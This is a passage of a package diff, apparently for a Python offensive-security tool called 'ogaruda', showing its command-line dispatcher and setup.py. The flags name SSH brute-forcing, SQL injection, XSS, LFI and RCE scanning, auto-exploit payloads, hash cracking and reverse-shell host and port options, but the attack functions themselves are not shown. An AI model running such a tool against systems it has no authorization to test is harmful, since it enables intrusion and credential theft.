|
|
336
|
+
def main():
|
|
337
|
+
global VERBOSE
|
|
338
|
+
banner()
|
|
339
|
+
|
|
340
|
+
parser = argparse.ArgumentParser(description="OGARUDA — The Strongest Tool on Earth")
|
|
341
|
+
parser.add_argument("--SCAN", "-s", action="store_true", help="Port scan (200 threads)")
|
|
342
|
+
parser.add_argument("--OS", action="store_true", help="OS detection")
|
|
343
|
+
parser.add_argument("--BRUTE", "-b", action="store_true", help="Smart brute-force (SSH)")
|
|
344
|
+
parser.add_argument("--SQLI", action="store_true", help="SQL injection")
|
|
345
|
+
parser.add_argument("--XSS", action="store_true", help="XSS scanner")
|
|
346
|
+
parser.add_argument("--LFI", action="store_true", help="LFI scanner")
|
|
347
|
+
parser.add_argument("--RCE", action="store_true", help="RCE scanner")
|
|
348
|
+
parser.add_argument("--EXPLOIT", "-e", action="store_true", help="Auto-exploit payloads")
|
|
349
|
+
parser.add_argument("--OSINT", "-o", action="store_true", help="OSINT engine")
|
|
350
|
+
parser.add_argument("--CRACK", "-c", action="store_true", help="Hash cracker")
|
|
351
|
+
parser.add_argument("--ENCODE", "-enc", action="store_true", help="Encode text")
|
|
352
|
+
parser.add_argument("--HASH", "-H", action="store_true", help="Generate hashes")
|
|
353
|
+
parser.add_argument("--GENERATE", "-g", action="store_true", help="Generate code")
|
|
354
|
+
parser.add_argument("--TARGET", "-t", help="Target IP, domain, or email")
|
|
355
|
+
parser.add_argument("--URL", "-u", help="Target URL")
|
|
356
|
+
parser.add_argument("--WORDLIST", "-w", help="Wordlist path")
|
|
357
|
+
parser.add_argument("--USER", "-U", help="Username for brute-force")
|
|
358
|
+
parser.add_argument("--PARAM", help="Parameter for SQLi/XSS/LFI/RCE")
|
|
359
|
+
parser.add_argument("--HASH-VALUE", help="Hash to crack")
|
|
360
|
+
parser.add_argument("--INPUT", "-i", help="Input string for encoding/hashing")
|
|
361
|
+
parser.add_argument("--LANGUAGE", "-lang", default="python", help="Language for code generation")
|
|
362
|
+
parser.add_argument("--LHOST", help="Local host for reverse shell")
|
|
363
|
+
parser.add_argument("--LPORT", type=int, help="Local port for reverse shell")
|
|
364
|
+
parser.add_argument("--VERBOSE", "-v", action="store_true", help="Verbose mode")
|
|
365
|
+
|
|
366
|
+
args = parser.parse_args()
|
|
367
|
+
|
|
368
|
+
if args.VERBOSE:
|
|
369
|
+
VERBOSE = True
|
|
370
|
+
|
|
371
|
+
if args.SCAN:
|
|
372
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
373
|
+
scan_ports(args.TARGET)
|
|
374
|
+
elif args.OS:
|
|
375
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
376
|
+
detect_os(args.TARGET)
|
|
377
|
+
elif args.BRUTE:
|
|
378
|
+
if not args.TARGET or not args.USER or not args.WORDLIST:
|
|
379
|
+
return print("[!] Need --TARGET, --USER, --WORDLIST")
|
|
380
|
+
smart_brute(args.TARGET, args.USER, args.WORDLIST)
|
|
381
|
+
elif args.SQLI:
|
|
382
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
383
|
+
smart_sqli(args.URL, args.PARAM)
|
|
384
|
+
elif args.XSS:
|
|
385
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
386
|
+
smart_xss(args.URL, args.PARAM)
|
|
387
|
+
elif args.LFI:
|
|
388
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
389
|
+
smart_lfi(args.URL, args.PARAM)
|
|
390
|
+
elif args.RCE:
|
|
391
|
+
if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
|
|
392
|
+
smart_rce(args.URL, args.PARAM)
|
|
393
|
+
elif args.EXPLOIT:
|
|
394
|
+
auto_exploit()
|
|
395
|
+
elif args.OSINT:
|
|
396
|
+
if not args.TARGET: return print("[!] Need --TARGET")
|
|
397
|
+
osint_engine(args.TARGET)
|
|
398
|
+
elif args.CRACK:
|
|
399
|
+
if not args.HASH_VALUE or not args.WORDLIST:
|
|
400
|
+
return print("[!] Need --HASH-VALUE and --WORDLIST")
|
|
401
|
+
crack_hash(args.HASH_VALUE, args.WORDLIST)
|
|
402
|
+
elif args.ENCODE:
|
|
403
|
+
if not args.INPUT: return print("[!] Need --INPUT")
|
|
404
|
+
encode_text(args.INPUT)
|
|
405
|
+
elif args.HASH:
|
|
406
|
+
if not args.INPUT: return print("[!] Need --INPUT")
|
|
407
|
+
generate_hashes(args.INPUT)
|
|
408
|
+
elif args.GENERATE:
|
|
409
|
+
code = generate_code(args.LANGUAGE)
|
|
410
|
+
print(code)
|
|
411
|
+
else:
|
|
412
|
+
parser.print_help()
|
|
413
|
+
|
|
414
|
+
if __name__ == "__main__":
|
|
415
|
+
main()
|
ogaruda-2.0/setup.cfg
ADDED
ogaruda-2.0/setup.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
|
|
3
|
+
setup(
|
|
4
|
+
name="ogaruda",
|
|
5
|
+
version="2.0",
|
|
6
|
+
description="The Strongest Tool on Earth — Faster than Nmap, Smarter than Hydra, Deadlier than Metasploit",
|
|
7
|
+
long_description=open("README.md").read(),
|
|
8
|
+
long_description_content_type="text/markdown",
|
|
9
|
+
author="gar-uda",
|
|
10
|
+
author_email="your-email@example.com",
|
|
11
|
+
py_modules=["ogaruda"],
|
|
12
|
+
install_requires=["requests"],
|
|
13
|
+
entry_points={
|
|
14
|
+
"console_scripts": [
|
|
15
|
+
"ogaruda=ogaruda:main",
|
|
16
|
+
],
|
|
17
|
+
},
|
|
18
|
+
classifiers=[
|
|
19
|
+
"Programming Language :: Python :: 3",
|
|
20
|
+
"License :: OSI Approved :: MIT License",
|
|
21
|
+
"Operating System :: OS Independent",
|
|
22
|
+
],
|
|
23
|
+
python_requires=">=3.6",
|
|
24
|
+
)
|